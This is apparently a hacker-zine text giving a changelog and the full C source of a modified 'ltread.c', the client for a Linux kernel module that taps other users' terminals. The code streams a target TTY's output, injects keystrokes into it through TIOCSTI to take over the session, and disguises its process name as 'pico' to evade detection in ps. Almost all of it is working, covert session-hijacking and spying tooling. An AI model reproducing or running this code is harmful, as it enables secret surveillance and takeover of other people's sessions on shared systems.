Things I added/changed:
-Control mode (basicly takeover mode but changed the key simply because
CTRL-X is a function key used in alot of programs, ` activated control
mode now.
-Beep signal when typing in non-control mode (wont be sent to
tty).
-Pretty colors (humpf? just so I could easily tell what mode is on)
-Changed argv[0] to "pico" (so users cant catch ya in a ps), also changed
argv[1] to " "(6 white spaces), so unless your initial executed file
is longer than "pico" the process should be hidden as "pico".
-------------------------------------------------------------------------
I also found this strange:
root 4927 99.9 1.1 860 264 1 R 15:49 0:02 pico
^^^^
seems to run fine though. here is the modified ltread.c
-------------------------------------------------------------------------
<++> linspy/ltread.c
/*Modified by Nathan D. Faber
Drago@Drago.com
Modified from ltread.c in Phrack Issue 50 - (P50-05)
[Giving credit where its due.]
*/
/* .oO Phrack 50 Oo.
Volume Seven, Issue Fifty
5 of 16
============================================
Abuse of the Linux Kernel for Fun and Profit
halflife@infonexus.com
[guild corporation]
============================================*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
struct termios save_termios;
int ttysavefd = -1;
int fd;
#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif
#define LS_SETMAJOR 0
#define LS_SETMINOR 1
#define LS_FLUSHBUF 2
#define LS_TOGGLE 3
void stuff_keystroke(int fd, char key)
{
ioctl(fd, TIOCSTI, &key);
}
int tty_cbreak(int fd)
{
struct termios buff;
if(tcgetattr(fd, &save_termios) < 0)
return -1;
buff = save_termios;
buff.c_lflag &= ~(ECHO | ICANON);
buff.c_cc[VMIN] = 0;
buff.c_cc[VTIME] = 0;
if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
return -1;
ttysavefd = fd;
return 0;
}
char *get_device(char *basedevice)
{
static char devname[1024];
int fd;
if(strlen(basedevice) > 128) return NULL;
if(basedevice[0] == '/')
strcpy(devname, basedevice);
else
sprintf(devname, "/dev/%s", basedevice);
fd = open(devname, O_RDONLY);
if(fd < 0) return NULL;
if(!isatty(fd)) return NULL;
close(fd);
return devname;
}
int do_ioctl(char *device)
{
struct stat mystat;
if(stat(device, &mystat) < 0) return -1;
fd = open(DEVICE_NAME, O_RDONLY);
if(fd < 0) return -1;
if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
}
void sigint_handler(int s)
{
exit(s);
}
void cleanup_atexit(void)
{
puts(" ");
if(ttysavefd >= 0)
tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
}
main(int argc, char **argv)
{
int my_tty;
char *devname;
unsigned char ch;
int i;
int x=0;
char count[]=" ";
if(argc != 2)
{
fprintf(stderr, "%s ttyname\n", argv[0]);
fprintf(stderr, "ttyname should NOT be your current tty!\n");
exit(0);
}
devname = get_device(argv[1]);
strcpy(argv[0],"pico");
strcpy(argv[1],count);
if(devname == NULL)
{
perror("get_device");
exit(0);
}
if(tty_cbreak(0) < 0)
{
perror("tty_cbreak");
exit(0);
}
atexit(cleanup_atexit);
signal(SIGINT, sigint_handler);
if(do_ioctl(devname) < 0)
{
perror("do_ioctl");
exit(0);
}
my_tty = open(devname, O_RDWR);
if(my_tty == -1) exit(0);
setvbuf(stdout, NULL, _IONBF, 0);
printf(" [0m [2J [1;1H [1;25;37;40m[ [31mnow monitoring session [37m] [0m\n\a");
while(1)
{
i = read(0, &ch, 1);
if(i > 0)
{
if(ch == '`')
{
if (x==0){
printf(" [1m[ [34mControl mode on [37m] [34m [0m\a\n");
ioctl(fd, LS_TOGGLE, 0);
x=1;
}
else{
printf(" [1m[ [34mControl mode off [37m] [34m [0m\a\n");
ioctl(fd, LS_TOGGLE, 0);
x=0;
}
}
else{
if (x==1){
stuff_keystroke(my_tty,ch);}
else{
printf("\a");}}
}
i = read(fd, &ch, 1);
if(i > 0)
putchar(ch);
}
}
<--> end ltread.c